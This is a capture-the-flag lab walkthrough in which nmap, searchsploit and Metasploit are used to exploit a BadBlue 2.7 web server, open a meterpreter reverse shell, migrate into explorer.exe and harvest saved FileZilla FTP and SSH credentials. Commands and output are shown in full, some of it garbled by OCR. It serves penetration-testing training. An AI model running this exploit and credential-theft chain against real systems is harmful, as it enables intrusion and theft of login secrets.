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Name	Windows: FTP Credentials Stealing
URL	https://attackdefense.com/challengedetails?cid=2375
Туре	Post Exploitation: With Metasploit

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the "target" file.

Command: cat /root/Desktop/target

root@attackdefense:~# cat /root/Desktop/target Target IP Address : 10.0.19.229 root@attackdefense:~#

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.19.229

```
root@attackdefense:~# nmap 10.0.19.229
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 18:00 IST Nmap scan report for 10.0.19.229
Host is up (0.072s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run Nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.19.229

```
root@attackdefense:~# nmap -sV -p 80 10.0.19.229
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 18:01 IST
Nmap scan report for 10.0.19.229
Host is up (0.060s latency).

PORT STATE SERVICE VERSION
80/tcp open http BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds
root@attackdefense:~#
```

The badblue 2.7 application is running on the target machine.

Step 4: We will search the exploit module for badblue 2.7 using searchsploit.

Command: searchsploit badblue

```
Exploit Title

BadBlue 2.5 - 'ext.dll' Remote Buffer Overflow (Metasploit)
BadBlue 2.5 - Easy File Sharing Remote Buffer Overflow
BadBlue 2.52 Web Server - Multiple Connections Denial of Service
BadBlue 2.55 - Web Server Remote Buffer Overflow
BadBlue 2.72 - PassThru Remote Buffer Overflow
BadBlue 2.72 - Multiple Vulnerabilities
BadBlue 2.72b - Multiple Vulnerabilities
BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
Working Resources 1.7.3 BadBlue - Null Byte File Disclosure
```

Step 5: There is a Metasploit module for badblue server. We will use the Metasploit module to exploit the target.

Commands:

msfconsole -q use exploit/windows/http/badblue_passthru set RHOSTS 10.0.19.229 exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/badblue_passthru
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/badblue_passthru) > set RHOSTS 10.0.19.229
RHOSTS => 10.0.19.229
msf6 exploit(windows/http/badblue_passthru) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Trying target BadBlue EE 2.7 Universal...
[*] Sending stage (175174 bytes) to 10.0.19.229
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.19.229:49845) at
meterpreter >
```

We have successfully exploited a badblue server.

Step 6: Migrate current process into explorer.exe

Command: migrate -N explorer.exe

```
meterpreter > migrate -N explorer.exe
[*] Migrating from 4772 to 4144...
[*] Migration completed successfully.
meterpreter >
```

Step 7: Search post exploit module for Filezilla

Command: background

search filezilla

```
<u>meterpreter</u> > background
*] Backgrounding session 1...
                                 passthru) > search filezilla
msf6 exploit(wi
Matching Modules
------
                                                       Disclosure Date Rank
  # Name
                                                                                Check
  0 auxiliary/dos/windows/ftp/filezilla_admin_user
                                                       2005-11-07
                                                                        normal No
nial of Service
  1 auxiliary/dos/windows/ftp/filezilla server port
                                                       2006 - 12 - 11
                                                                        normal No
ial of Service
  2 post/multi/gather/filezilla_client_cred
                                                                        normal
ntial Collection
   3 post/windows/gather/credentials/filezilla_server
                                                                        normal
                                                                               No
dential Collection
Interact with a module by name or index. For example info 3, use 3 or use post/windows/
msf6 exploit(windows/http/badblue_passthru) >
```

Step 8: We can observe that there is a post-module available for Filezilla client credentials. Run that to discover all credentials.

Commands: background use post/multi/gather/filezilla_client_cred set SESSION 1 exploit

```
<u>msf6</u> exploit(
<u>msf6</u> post(mul
                                              > use post/multi/gather/filezilla_client_cred
                                              ) > set SESSION 1
SESSION => 1
                  jather/filezilla_client_cred) > exploit
<u>msf6</u> post(multi/
    Checking for Filezilla directory in: C:\Users\student\AppData\Roaming
    Checking for Filezilla directory in: C:\Users\Administrator\AppData\Roaming
    Found C:\Users\Administrator\AppData\Roaming\FileZilla
    Reading sitemanager.xml and recentservers.xml files from C:\Users\Administrator\AppData\Roaming\FileZilla
    No saved connections where found
    Parsing recentservers.xml
        Collected the following credentials:
        Server: random-host.com:21
        Protocol: FTP
        Username: root
        Password: Ywhwsh6VNV3GGpLM
        Collected the following credentials:
        Server: secure-server.com:22
        Protocol: SSH
        Username: root
```

We can notice, that we have discovered two servers login i.e:

Password: Password_123!@!@!@!@!@

Post module execution completed

Server 1 FTP Connection:

msf6 post(m

Server: random-host.com:21

cred) >

Protocol: FTP Username: root

Password: Ywhwsh6VNV3GGpLM

Server 2 SSH Connection:

Server: secure-server.com:22

Protocol: SSH Username: root

Password: Password_123!@!@!@!@!@

Flags:

FTP Server Password: Ywhwsh6VNV3GGpLM

SSH Server Password_ 123!@!@!@!@!@

References

- 1. BadBlue 2.72b Multiple Vulnerabilities (https://www.exploit-db.com/exploits/4715)
- 2. Metasploit Module (https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)
- 3. FileZilla Client (https://filezilla-project.org/download.php?platform=win64)
- 4. Multi Gather FileZilla FTP Client Credential Collection (https://www.rapid7.com/db/modules/post/multi/gather/filezilla_client_cred)